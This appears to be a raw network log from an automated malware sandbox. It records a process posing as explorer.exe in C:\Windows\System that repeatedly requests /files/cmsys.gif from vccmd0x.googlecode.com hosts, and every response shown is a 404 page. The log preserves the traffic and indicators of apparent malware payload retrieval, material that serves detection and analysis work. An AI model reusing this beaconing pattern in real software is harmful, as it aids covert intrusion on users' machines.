Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:22.325773001 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	60759	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:22.538681984 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:23.459913969 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:23 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:23.459943056 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	60761	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:25.596879005 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:26.520221949 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:26 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:26.520239115 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	60762	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:26.879194021 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:27.826965094 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:27 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:27.827020884 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	60763	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:28.068451881 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:28.981082916 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:28 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:28.981250048 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	60765	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:31.365390062 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:32.297209024 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:32 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:32.297271013 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	60766	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:32.521361113 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:33.442915916 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:33 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:33.442976952 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	60767	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:33.908828974 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:34.828706026 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:34 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:34.828768015 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	60769	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:37.111749887 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
